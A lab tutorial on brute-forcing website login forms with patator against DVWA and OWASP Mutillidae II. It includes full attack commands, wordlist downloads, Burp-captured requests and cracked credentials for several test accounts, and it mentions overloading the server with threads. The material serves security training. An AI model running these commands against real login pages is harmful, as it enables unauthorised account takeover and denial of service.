Brute force website login page using patator
Cracking online web form passwords is effective even against web sites without vulnerabilities
Therefore, we have to collect information about sending data. We can use audit of static source code of a target web page. However to analyze data transferring through a proxy is much more effective and easier. We will use Burp for this purpose.
patator is able to brute-force a variety of services, but we will focus on online web forms.
Website login page can transmit data using the GET or POST methods. In this article, we will consider brute force attack against website login page with GET on the example of the Damn Vulnerable Web Application (DVWA). In addition, we will brute force login page that transmits data using the POST method on the example of the OWASP Mutillidae II. I will work with these vulnerable web applications preinstalled in Web Security Dojo.
So to preparer your environment, please consider the articles:
- How to upgrade Damn Vulnerable Web Application (DVWA) to the latest release in Samurai Web Testing Framework or Web Security Dojo
- How to upgrade OWASP Mutillidae II to the latest release in Samurai Web Testing Framework or Web Security Dojo
- How to install OWASP Mutillidae II and Damn Vulnerable Web Application (DVWA) in Kali Linux
Transferring data from the authentication form to the web server
Methods of sending data
As already mentioned, web forms can send data using the GET or POST method.
This method is designed to obtain the required information and transfer data in the address bar. The name-value pairs are appended in this case to the address after the question mark and are separated by an ampersand (the & symbol). The convenience of using the get method is that the address with all parameters can be used repeatedly, saving it, for example, in the browser bookmarks, and also changing the parameter values directly in the address bar.
The post method sends data to the server in a browser request. This allows you to send more data than is available to the get method, since it has a limit of 4 KB. Large amounts of data are used in forums, mail services, database filling, file transfer, etc.
An example of a form that sends data using the GET method:
<form action="handler.php" method="get"> <p><input type="text" name="str"></p> <p><input type="submit" value="Отправить"></p> </form>
Note the action="handler.php" - the value of this attribute indicates that the data will be sent to the file handler.php page. That is if I type in a text field, for example miloserdov, then after clicking on the ‘Send’ button the ./handler.php?str=hackware URI will open.
An example of a form that sends data using the POST method:
<form action="handler.php" method="post"> <p><input type="text" name="str"></p> <p><input type="submit" value="Отправить"></p> </form>
If I enter into a text field, for example miloserdov, then after clicking the ‘Send’ button the ./handler.php page will open. The transmitted data is not displayed in the address bar.
Do not be confused by forms that do not contain the method and/or action attributes. They are not mandatory. If they are not present, then the default values are used. For method, this is get, and for action, the page of the form itself (that is, the data is sent to the same script/file that shows the form).
It would seem that for it is quite logical for a web form to send exactly two fields: user name and password. However, often forms contain hidden fields and fields added on the fly. This is important to know, because even with the correct login and password the form will give an input error if there are no other required data.
Web application behavior when retrieving login data
Checking the success of authorization
How do we know if we are logged in? That is, how to understand that the password was successfully guessed? To do this, the page which is sent after the login attempt is analyzed. Sometimes we cannot know what is shown after successful authorization, because we do not have a valid account. Therefore, we can use only the inverse method: we try to enter any login and password and look at the error. For example, it can be ‘Account does not exist’. Next, the brute force compares the pages it receives, and if there is no ‘Account does not exist’, it means that the password is cracked.
Brute-force programs can also work with strings that are displayed when the input is successful.
The behavior of a web application with a successful or unsuccessful login is not limited to just displaying a message. Also, together, or even instead of displaying a message, the web application can:
- redirect (for example, in case of a successful login the user is redirected to the admin panel or to his own page);
- write the cookies (in the case of a valid login and password, the server sends cookies with session data, and based on these cookies, the web application shows the logged in user the edit button, the link to the admin panel, etc.).
And more about the displayed data - many popular web applications support many languages. This is also important to consider, because you expect to get ‘Account does not exist’ but instead it will show ‘ไม่มี บัญชี อยู่’…
Cookies, headers, hidden fields, random data in hidden fields
It is necessary to remember about such possible models of behavior of the web application as:
- assign a cookie with a session to anyone who opened a web form, and when receiving data from it, to check whether there is such a session. If there is no session, then do not accept even the correct password. Therefore, before each attempt it is required to get a web page with the form, while retaining the received cookies for sending them along with the candidates for logins and passwords;
- each time you request the page, it is updated, the form can contain hidden fields with random data. This requires before each attempt to obtain a form, extracting these random data, adding them to the requesting body transmitted with the login and password;
- can be simplified versions: static cookies and static data in hidden form fields. This does not require receiving them at every login attempt. However, you need to remember to add the value of hidden fields to the body of the request, and about cookies remember that the session can expire and you need to get a new cookie.
Collect user names
Some web applications contain user names (login) on their profile pages, sometimes as part of the profile page address, sometimes you need to use additional programs to identify logins (for example, for WordPress, this can be done by WPScan). You do not have to spare time for this. If it is possible to collect valid user logins, this will reduce brute-force time greatly in comparison, if we took the user names from a dictionary.
As you should already guess, the complexity of the brute-force online page login arises from their diversity; each web site requires an individual approach.
Preparing Web Security Dojo
Install the programs we need and update a little (this is inside Web Security Dojo):
sudo apt update # sudo apt dist-upgrade # if you wish, you can perform a complete system upgrade. If you did, then reboot after this step before continuing. sudo apt install python-pycurl curl sudo pip install --upgrade pip sudo pip install --upgrade pycurl
Download the latest version of the patator script:
wget https://raw.githubusercontent.com/lanjelot/patator/master/patator.py chmod +x patator.py ./patator.py
Also, note that I updated Damn Vulnerable Web Application (DVWA) and Damn Vulnerable Web Application (DVWA) to the latest versions. How to do this is described on the corresponding pages on the links given above.
We also need word lists (dictionaries). We download a couple, if they cannot find the password, then we will download more dictionaries:
wget https://raw.githubusercontent.com/1N3/BruteX/master/wordlists/namelist.txt wget https://raw.githubusercontent.com/1N3/BruteX/master/wordlists/password_medium.txt
The latest version of Burp Suite can be downloaded from: https://portswigger.net/DownloadUpdate.ashx?Product=Free
Analyzation of data transmitted via a website login page
You need to start by collecting data about the operation of the web form. Analyzing static data (HTML code) can be difficult and very easy to miss some fields. Therefore, we will analyze the ‘live’ data that the browser sends. For this kind of analysis, we need a proxy. We will use the Burp Suite Free Edition.
Configure the proxy in Burp Suite to analyze the data transmitted from the web form
Run Burp Suite, this can be done from the menu, or, if you downloaded the latest version, so:
java -jar ./Downloads/burpsuite_free_*.jar
Go to the tab Proxy -> Options. There, at the very top of the Proxy Listeners, click Add and add a new listener: on any unused port, for example, 7070. For Specific Address, select the IP of the attacker’s computer (that is, the machine where Burp is running).
Here, go to the Request handling tab and tick the Support invisible proxying (enable only if needed).
When you add a new listener, check the box where Running (this will mean that it is currently in use).
Now go to Proxy -> Intercept, disable it.
Now in your web browser open Settings -> Advanced -> Network -> Connections Settings.
There, select Manual Proxy Configuration and in the HTTP Proxy fields, type the proxy IP and port (which Burp Suite listens to).
Brute-Force web forms using the GET method
In Web Security Dojo, go to the Damn Vulnerable Web Application (DVWA) at http://localhost/dvwa/login.php:
Please note that we require a login and password to log in. We will not bruete-force this form (although nothing would stop us from doing this). This form serves access to the DVWA, the pages of which contain vulnerable web applications, including those that are designed to login, but from which we do not know the passwords. For this first web form, we have credentials (username/password pair). So we will just enter them. Most likely, after this, cookies will be written to our browser. With each access to DVWA pages, the server will request cookies and check whether there is such a session. If there is a session, we will view the DVWA pages. It is very good that we paid attention to this, because we need to configure our programs for brute-force so that they send cookies with a valid session, otherwise they will not be able to ‘communicate’ with internal DVWA pages that contain the web form we want brute forcing.
Go to DVWA Security and set a low level of security (Low), save the made changes:
Go to the Brute Force tab.
In fact, there is already an admin password hidden by the asterisks. But our task is to find out this password using brute-force. Additionally, in the assignment we were informed about four users whose passwords also need to be found out. So I add one digit to the password to make it knowingly incorrect, click Send. On the page we see:
Important information is as follows:
- If the password is incorrect, the server displays ‘Username and/or password incorrect.’
- according to the address http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login# the server uses the GET method.
By the way, the fact that the form sends the values of some values by the GET method does not mean that it does not send POST values at the same time. When I faced the task of implementing the simultaneous sending of data using the GET and POST method using AJAX, the task turned out to be quite simple in the solution. In this case, the data is sent only by the GET method, but remember that there may be more unusual options.
Now go to Burp Suite for data analysis:
- GET /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login HTTP/1.1
- Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2
The first one tells that the data is transferred only by the GET method, and also contains the /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login query string
The second content is the cookies, without which we will not be allowed to enter the server’s internal pages. Therefore, we have to send cookies to the server with every request.
In some cases, the Referer line could also be important:
- Referer: http://localhost/dvwa/vulnerabilities/brute/
However, this web application does not check Referer, so we do not need to specify this header.
Also, see the response of the web server:
Redirection (Location:) and recording of new cookies does not occur. And in the answer for a wrong password there is the word ‘incorrect’:
We have collected enough data, we proceed to combine a to run the brute force.
Using the patator for brute-force web forms that transmit data using the GET method
patator is intended for brute-force of a large number of various services (and not only services, by the way). For the brute-force input of web applications, the module http_fuzz is intended.
The patator manual page is huge. This is due to the large number of available modules and examples. Let us write out only those options that we can use to crack web site passwords:
Global options patator (applicable to all modules, including for http_fuzz):
Execution: -x arg actions and conditions, see Syntax below --start=N start from offset N in the wordlist product --stop=N stop at offset N --resume=r1[,rN]* resume previous run -e arg encode everything between two tags, see Syntax below -C str delimiter string in combo files (default is ':') -X str delimiter string in conditions (default is ',') --allow-ignore-failures failures cannot be ignored with -x (this is by design to avoid false negatives) this option overrides this behavior Optimization: --rate-limit=N wait N seconds between each test (default is 0) --timeout=N wait N seconds for a response before retrying payload (default is 0) --max-retries=N skip payload after N retries (default is 4) (-1 for unlimited) -t N, --threads=N number of threads (default is 10) Logging: -l DIR save output and response data into DIR -L SFX automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX (DIR defaults to '/tmp/patator') Debugging: -d, --debug enable debug messages Syntax: -x actions:conditions actions := action[,action]* action := "ignore" | "retry" | "free" | "quit" | "reset" conditions := condition=value[,condition=value]* condition := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep" ignore : do not report retry : try payload again free : dismiss future similar payloads quit : terminate execution now reset : close current connection in order to reconnect next time code : match status code size : match size (N or N-M or N- or -N) time : match time (N or N-M or N- or -N) mesg : match message fgrep : search for string in mesg egrep : search for regex in mesg For example, to ignore all redirects to the home page: ... -x ignore:code=302,fgrep='Location: /home.html' -e tag:encoding tag := any unique string (eg. T@G or _@@_ or ...) encoding := "unhex" | "sha1" | "b64" | "url" | "hex" | "md5" unhex : decode from hexadecimal sha1 : hash in sha1 b64 : encode in base64 url : url encode hex : encode in hexadecimal md5 : hash in md5 For example, to encode every password in base64: ... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
http_fuzz module options:
url : target url (scheme://host[:port]/path?query) body : body data header : use custom headers method : method to use [GET|POST|HEAD|...] raw_request : load request from file scheme : scheme [http|https] auto_urlencode: automatically perform URL-encoding [1|0] user_pass : username and password for HTTP authentication (user:pass) auth_type : type of HTTP authentication [basic | digest | ntlm] follow : follow any Location redirect [0|1] max_follow : redirection limit  accept_cookie : save received cookies to issue them in future requests [0|1] http_proxy : HTTP proxy to use (host:port) ssl_cert : client SSL certificate file (cert+key in PEM format) timeout_tcp : seconds to wait for a TCP handshake  timeout : seconds to wait for a HTTP response  before_urls : comma-separated URLs to query before the main request before_header : use a custom header in the before_urls request before_egrep : extract data from the before_urls response to place in the main request after_urls : comma-separated URLs to query after the main request max_mem : store no more than N bytes of request+response data in memory [-1 (unlimited)] persistent : use persistent connections [1|0]
Let us start building our patator command to crack passwords.
It will start with ./patator.py http_fuzz, here ./patator.py is the location of the script file, and http_fuzz is the name of the module being used.
As we remember, the /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login string is passed to the server, the string is the relative address of the page. The absolute address in our case looks like this: http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login. We specify this address with the url option: url="http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login"
The word admin is replaced with the placeholder FILE0 and instead of password11 we specify the second placeholder FILE1. As a result, the address we will query each time on the web server and which we specify with the url option becomes: url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login"
We also need to specify the location of the files with usernames and passwords. Note, instead of FILE0 and FILE1, the abbreviated record 0= and 1= is used. The files are located in the same directory as the patator script, so I add 0=namelist.txt 1=password_medium.txt to our launch command.
Next, we add the used method: method=GET
Cookies are passed in the headers, so we specify our cookies by the line: header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2'
Now, after the -x option, we need to specify the action and the condition so that if the login is successful, the selected username and password are displayed to us, and unsuccessful attempts are not. The unsuccessful attempt is those when the word ‘incorrect’ appears in the response from the server. As an action, we select ignore. Then we get -x ignore:fgrep='incorrect'
We collect all together, in the end we get the following command:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=namelist.txt 1=password_medium.txt -x ignore:fgrep='incorrect'
Note that if you try to use the same command for Web Security Dojo in the Damn Vulnerable Web Application (DVWA), download the same dictionaries that I use, then you still will not succeed! Since you need to change the value of 1n3b0ma83kl75996udoiufuvc2 (cookies) to your own.
The brute-force need a long time, you can watch Apache logs (to make sure that the process is going on) by the following command:
tail /var/log/apache2/access.log -n 100
To see the progress in the program itself, press [ENTER]. To view all available interactive commands, press h.
Here is the result of brute force:
03:28:56 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-09 03:28 EDT 03:28:56 patator INFO - 03:28:56 patator INFO - code size:clen time | candidate | num | mesg 03:28:56 patator INFO - ----------------------------------------------------------------------------- 03:30:51 patator INFO - 200 5312:5002 0.030 | admin:password | 32964 | HTTP/1.1 200 OK 03:30:54 patator INFO - 200 5312:5002 0.041 | admin:password | 32965 | HTTP/1.1 200 OK 04:51:34 patator INFO - 200 5312:5002 0.046 | admin:password | 1400702 | HTTP/1.1 200 OK 04:51:35 patator INFO - 200 5312:5002 0.041 | admin:password | 1400701 | HTTP/1.1 200 OK 05:41:13 patator INFO - Hits/Done/Skip/Fail/Size: 4/2096668/0/0/2096668, Avg: 264 r/s, Time: 2h 12m 17s
On the one hand, we have completed the basic task and found the administrator password. However, we did not find any (out of four) of the user’s passwords.
The speed of the cracking was 264 tested combinations per second.
In addition, note that the same account we hacked four times. This is not a patator error - it's the problem of our dictionaries, in which the same usernames and/or passwords were repeated several times. For brute-force web applications this is bad. By the way, let us count,
A total of 2,096,668 username:password combinations have been tested. You can check it. Count the number of user names:
cat namelist.txt | wc -l 2908
Count the number of passwords:
cat password_medium.txt | wc -l 721
Total combinations: 2,908 * 721 = 2,096,668
Now let us remove the duplicates and again count the number of combinations:
cat namelist.txt | sort | uniq > namelist_new.txt cat password_medium.txt | sort | uniq > password_medium_new.txt cat namelist_new.txt | wc -l 2486 cat password_medium_new.txt | wc -l 706
That is if we had guessed starting with the removal of duplicates, then the number of combinations required for testing would have been reduced by about 350 thousand…
We did not hack credentials of any of the four users. We need new dictionaries to continue brute-force, but let us enter the received data for the admin:password account and continue researching the web application. We see a photo of the user:
The photo is located at http://localhost/dvwa/hackable/users/admin.jpg. And what if we look in the http://localhost/dvwa/hackable/users/ folder?
I am almost sure that the name of the image files corresponds to the names of the users, i.e. this
This is a great gift for us, because as new dictionaries of user names I was going to take ‘First names facebook-firstnames.txt.bz2 (16,464,124 bytes)’. This is a big list and a new brute force would continue for a while. Instead, I create a file opened_names.txt and enter there only 4 lines:
1337 gordonb pablo smithy
As passwords, I will try the dictionary ‘500 worst passwords’:
wget https://kali.tools/files/passwords/password_dictionaries/500-worst-passwords.txt.bz2 bunzip2 500-worst-passwords.txt.bz2
Now my command with the new dictionaries looks like this:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=500-worst-passwords.txt -x ignore:fgrep='incorrect'
04:21:04 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-15 04:21 EDT 04:21:04 patator INFO - 04:21:04 patator INFO - code size:clen time | candidate | num | mesg 04:21:04 patator INFO - ----------------------------------------------------------------------------- 04:21:06 patator INFO - 200 5316:5006 0.027 | gordonb:abc123 | 518 | HTTP/1.1 200 OK 04:21:08 patator INFO - 200 5313:5003 0.031 | pablo :letmein | 1011 | HTTP/1.1 200 OK 04:21:11 patator INFO - 200 5314:5004 0.011 | smithy:password | 1502 | HTTP/1.1 200 OK 04:21:12 patator INFO - Hits/Done/Skip/Fail/Size: 3/2000/0/0/2000, Avg: 250 r/s, Time: 0h 0m 7s
Well, finally I succeeded. Literally, in a matter of seconds, I cracked passwords for three accounts of four.
From the file opened_names.txt, I remove all the lines except 1337 (so that already hacked users do not take time). I will try with this combination:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=password_medium_new.txt -x ignore:fgrep='incorrect'
Take a larger hammer - Rockyou:
wget https://kali.tools/files/passwords/leaked_passwords/rockyou.txt.bz2 bunzip2 rockyou.txt.bz2 ./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=rockyou.txt -x ignore:fgrep='incorrect'
The result is surprisingly fast:
Missing pair: 1337:charley
On the screenshot there are false positives when there are special symbols in the password. This could mean that there is another vulnerability, for example, SQL injection.
Brute Force Web Forms Using the POST Method
If you tried brute-force web forms, when they transmit data using the GET method, and you succeeded, then the POST method should also not have any special problems. Now the address of the page will be static (it will not change), and to specify the transmitted data we will use a special option. Perhaps this is the biggest difference.
Using the patator for brute-force web forms that transmit data using the POST method
Now let us move on to the brute force web login page when the data is sent using POST.
I will practice in OWASP Mutillidae II, installed in Web Security Dojo.
There is the login page http://localhost/mutillidae/index.php?page=login.php, it sends data using the POST method. Let us start, of course, with the analysis, enter any data into the form and click Login:
As you can see, I failed to authorize, important notes:
- we stayed on the http://localhost/mutillidae/index.php?page=login.php page, i.e. most likely, the data is sent to this file, and the POST method is most likely used
- when credentials is wrong, the ‘Password incorrect’ is displayed.
Now go to Burp Suite:
Here the lines are important:
- POST /mutillidae/index.php?page=login.php
- Referer: http://localhost/mutillidae/index.php?page=login.php
- Cookie: showhints=1; PHPSESSID=1n3b0ma83kl75996udoiufuvc2
They tell us that the data is transferred by the POST method to the page /mutillidae/index.php?page=login.php. Also the cookies are transmitted, which contain ‘PHPSESSID=1n3b0ma83kl75996udoiufuvc2’. The data itself is in the form: ‘username=admin&password=password&login-php-submit-button=Login’.
Analyzes the server’s response:
There are no redirects or new cookies.
We begin to compose our command.
- It starts with ./patator.py http_fuzz (program file and the module being used).
- Next, with the url option, we specify the address of the page to which the data is sent: url="localhost/mutillidae/index.php?page=login.php"
- Via method option, we specify the method for sending data: method=POST
- With patator, we have not yet used the body option, now it is time. With the option, we transfer the data to the server. Do not forget to add placeholders FILE0 and FILE1: body='username=FILE0&password=FILE1&login-php-submit-button=Login'
- With the 0= and 1= options we pass to the program dictionaries of user names and passwords: 0=namelist_new.txt 1=500-worst-passwords.txt
- Since we already have some cookies, they were automatically recorded, most likely when the site was first opened. It is unclear how often they will change, but it is clear that this will happen automatically, as well as the first time, so we specify: accept_cookie=1. This option means to accept cookies from the web application and send them at the next login and password check.
- And again we choose to ignore (not show us) all login attempts, if the answer contains the word ‘incorrect’: -x ignore:fgrep='incorrect
- After the -t option, you can specify the number of threads: -t 50
./patator.py http_fuzz url="localhost/mutillidae/index.php?page=login.php" method=POST body='username=FILE0&password=FILE1&login-php-submit-button=Login' 0=namelist_new.txt 1=500-worst-passwords.txt accept_cookie=1 -x ignore:fgrep='incorrect' -t 50
As you can see, we got the results:
With my options, sometimes there was an 500 Internal Server Error, which in this situation means only that I DoSed the server.
patator is able to brute force website login page with any degree of complexity of transmitted requests.
The flexibility of the patator allows performing brute-force in circumstances that Hydra and Medusa would not.